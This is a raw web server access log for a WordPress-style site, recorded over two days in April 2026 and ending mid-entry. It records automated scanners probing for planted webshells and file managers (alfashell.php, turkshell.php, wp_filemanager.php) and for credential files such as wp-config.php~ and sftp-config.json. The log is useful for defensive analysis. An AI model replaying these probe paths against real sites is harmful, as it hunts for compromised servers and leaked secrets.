[06/Apr/2026:10:53:00 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:23 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:36 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:57 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:55:26 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:27 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:27 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:23 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:43 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:43 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:46 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:57 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:14 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 43.165.70.220 - - [06/Apr/2026:12:05:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.38.131 - - [06/Apr/2026:07:43:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.27.251 - - [06/Apr/2026:10:46:06 +0300] "GET /bypltspd.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:11 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:11 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:15 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:13 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:37 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:46 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:45 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:48 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:35 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 34.142.251.255 - - [06/Apr/2026:11:22:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 66.249.66.76 - - [06/Apr/2026:08:10:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.76 - - [06/Apr/2026:08:10:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 134.199.170.14 - - [06/Apr/2026:09:58:29 +0300] "GET /new/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:09:58:45 +0300] "GET /old/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:45:57 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:46:18 +0300] "GET /bogles.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:08 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:11 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:15 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:18 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:21 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:25 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:28 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:43 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:46 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:09 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:51 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:52 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:33 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:12 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:16 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:16 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:00 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 87.121.84.99 - - [06/Apr/2026:11:26:50 +0300] "GET /public/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 66.249.66.76 - - [06/Apr/2026:08:07:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.177 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 134.199.170.14 - - [06/Apr/2026:09:59:13 +0300] "GET /test/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:10:00:22 +0300] "GET /shop/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:46:34 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:09 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:33 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:57 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:52 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:02 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:02 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:45 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:45 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:25 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:15 +0300] "GET /about2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:30 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:42 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:53 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:26 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:54 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:07 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 49.51.166.228 - - [06/Apr/2026:06:58:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.84.172 - - [06/Apr/2026:07:51:26 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 123.187.240.242 - - [06/Apr/2026:08:49:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 142.248.80.198 - - [06/Apr/2026:09:24:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:09:59:52 +0300] "GET /backup/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:10:00:01 +0300] "GET /site/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:45:35 +0300] "GET //admina.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:45:43 +0300] "GET /turkshell.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:00 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:15 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:31 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:01 +0300] "GET /.mopj.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:49:11 +0300] "GET /1111.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:17 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:19 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:49 +0300] "GET //wp-mter.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:57 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:55:12 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:41 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:37 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:07 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:01:39 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:39 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:43 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:22 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:26 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:50 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 68.221.137.197 - - [06/Apr/2026:12:34:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 80.94.95.173 - - [06/Apr/2026:12:49:12 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.130.228.73 - - [06/Apr/2026:12:44:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.194.152.176 - - [06/Apr/2026:13:46:19 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 144.172.114.155 - - [06/Apr/2026:15:37:13 +0300] "HEAD /Archiwum.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 85.239.242.115 - - [06/Apr/2026:16:22:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 93.123.109.232 - - [06/Apr/2026:16:34:10 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8" 93.123.109.232 - - [06/Apr/2026:16:34:10 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "Web Downloader/6.9" 43.153.26.165 - - [06/Apr/2026:16:34:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.239 - - [06/Apr/2026:15:38:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 93.123.109.232 - - [06/Apr/2026:16:34:10 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0" 136.118.145.127 - - [06/Apr/2026:15:42:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 93.123.109.232 - - [06/Apr/2026:16:34:10 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14" 124.156.157.91 - - [06/Apr/2026:17:11:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.231.22 - - [06/Apr/2026:18:49:34 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 85.137.48.167 - - [06/Apr/2026:19:55:43 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 68.221.137.197 - - [06/Apr/2026:20:38:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 103.77.107.57 - - [06/Apr/2026:21:22:40 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 129.226.93.214 - - [06/Apr/2026:21:18:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.57 - - [06/Apr/2026:21:22:44 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 125.94.144.102 - - [06/Apr/2026:21:39:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.32 - - [06/Apr/2026:22:09:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.132.172.213 - - [06/Apr/2026:22:31:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 173.252.70.35 - - [06/Apr/2026:21:48:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.157.98.187 - - [06/Apr/2026:22:12:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.222 - - [06/Apr/2026:22:21:28 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.232.176.10 - - [06/Apr/2026:23:31:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 45.92.1.180 - - [06/Apr/2026:22:57:41 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 165.232.176.10 - - [06/Apr/2026:23:31:27 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.77.107.222 - - [06/Apr/2026:22:21:24 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 117.50.56.132 - - [07/Apr/2026:00:23:55 +0300] "GET /public/images/metinfo.gif HTTP/1.1" 301 795 "http://eliteewallet.com/public/images/metinfo.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 40.83.92.30 - - [07/Apr/2026:01:48:02 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:48:57 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:49:51 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:30 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:23 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:34 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:36 +0300] "GET /article.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:37 +0300] "GET /config-backup.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:53 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:53 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:47:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:47:39 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:48:32 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:13 +0300] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:33 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:30 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:35 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:35 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:28 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:45 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:28 +0300] "GET /404.php?fm=true HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:37 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:59 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:06 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:08 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:09 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:12 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:20 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:20 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:26 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:17 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:18 +0300] "GET /login.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:11 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:14 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:14 +0300] "GET /wp-conffq.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:20 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:21 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:21 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:22 +0300] "GET /wp-headre.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:25 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:28 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:30 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:32 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:32 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:38 +0300] "GET /wp-start.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:42 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:43 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:43 +0300] "GET /xmlrpc_old.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:46 +0300] "GET /xxmlrpc.php HTTP/1.1" 301 795 "-" "-" 101.33.55.204 - - [07/Apr/2026:03:20:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.146.253 - - [07/Apr/2026:01:16:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:47:28 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:49:05 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:10 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:21 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:00 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:57 +0300] "GET /13k.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:09 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:09 +0300] "GET /up.php?x= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:12 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:13 +0300] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:16 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 